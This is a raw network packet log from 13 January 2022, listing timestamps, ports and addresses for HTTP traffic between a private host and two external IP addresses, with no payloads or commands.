Jan 13, 2022 20:51:33.397427082 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.397466898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.397484064 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.397500038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.397507906 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.397542000 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.397661924 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.397686958 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.397722960 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.399014950 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.399039984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.399080038 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.399143934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.399162054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.399188042 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.400146961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400171041 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400187016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400201082 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.400202990 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400223970 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400230885 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.400242090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400259018 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400271893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.400276899 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400296926 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.400446892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400468111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400484085 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400500059 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400544882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.400748014 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400768995 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400787115 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400794029 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.400804996 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.400830030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.406151056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.406182051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.406274080 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.428292990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428330898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428349972 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428374052 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428386927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428399086 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428404093 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428428888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428441048 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428447962 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428477049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428492069 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428500891 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428514957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428530931 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428533077 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428560019 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428566933 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428577900 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428599119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428615093 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428634882 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428642035 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428653002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428674936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428683996 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428689957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428713083 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428719044 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428729057 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428752899 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428769112 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428787947 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428792953 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428811073 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428828955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428836107 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428852081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428854942 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428874969 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428890944 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428891897 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428908110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428934097 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428936958 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.428958893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428975105 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.428983927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.429014921 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.429034948 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.429060936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.429117918 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.459563017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.459606886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.459621906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.459645987 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.459748030 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.459815979 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.460237026 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.460262060 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.460298061 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.462025881 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.462053061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.462069035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.462089062 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.462099075 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.462162971 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.464246035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464268923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464286089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464302063 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464314938 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.464364052 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.464514971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464536905 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464561939 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.464566946 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464612961 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.464617968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464828968 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464849949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464865923 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464883089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.464886904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.464905024 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.465303898 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.465323925 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.465362072 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.502645016 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502681017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502700090 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502717018 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502737045 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.502739906 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502759933 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502768993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.502779007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502796888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502810001 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502811909 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.502824068 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502837896 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502851009 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502863884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502876043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502890110 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502904892 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502922058 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502938986 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502955914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502971888 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.502986908 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503001928 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503016949 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503019094 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503037930 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503053904 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503070116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503084898 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503097057 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503102064 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503119946 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503135920 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503137112 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503153086 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503161907 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503171921 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503190041 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503206968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503215075 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503222942 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503241062 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503249884 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503257990 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503276110 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503314018 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503320932 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503340960 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503356934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503401995 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503447056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503465891 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503484011 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503501892 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503504992 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503529072 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.503544092 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503562927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.503591061 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.516856909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.516899109 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.516922951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.516947031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517015934 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.517070055 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.517184019 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517220020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517244101 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517251968 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.517261982 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517332077 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.517760992 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517781973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517798901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517816067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.517831087 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.517887115 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.518249035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.518270969 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.518286943 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.518302917 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.518327951 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.518364906 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519110918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519136906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519151926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519167900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519177914 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519224882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519454956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519476891 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519493103 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519507885 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519510984 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519562960 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519645929 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519665003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519680023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519695044 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519695997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519747019 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519782066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.519821882 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.519823074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.546531916 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.571532965 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571576118 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571590900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571608067 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571624994 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571643114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571682930 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.571726084 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571744919 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571760893 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571770906 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.571775913 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.571800947 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.572855949 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.572892904 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.572906017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.572923899 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.572953939 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.572992086 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.573388100 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573410988 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573427916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573442936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573445082 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.573477983 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.573489904 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573508024 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573525906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573534966 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.573543072 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.573566914 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:33.576870918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.576890945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.576906919 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.576922894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.576940060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.576957941 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.576975107 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.576991081 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577007055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577008963 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577023983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577040911 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577058077 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577063084 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577074051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577088118 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577091932 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577111006 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577114105 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577128887 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577136993 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577147007 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577163935 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577172041 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577181101 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577198982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577215910 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577220917 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577231884 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577245951 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577249050 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577265024 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577274084 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577280998 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577297926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577307940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577316046 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577354908 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577389002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577406883 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577423096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577445030 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577472925 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577477932 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577491045 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577519894 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577537060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577549934 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577553988 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577584028 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577585936 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577604055 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577621937 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577631950 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577639103 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577656984 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577672005 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577675104 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577691078 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577701092 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577708960 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577724934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577739954 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577740908 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577759027 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.577766895 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.577796936 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.620449066 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.620496988 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:33.620702028 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:33.626588106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626630068 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:33.626653910 CET	80	49845	45.135.233.182	192.168.2.5
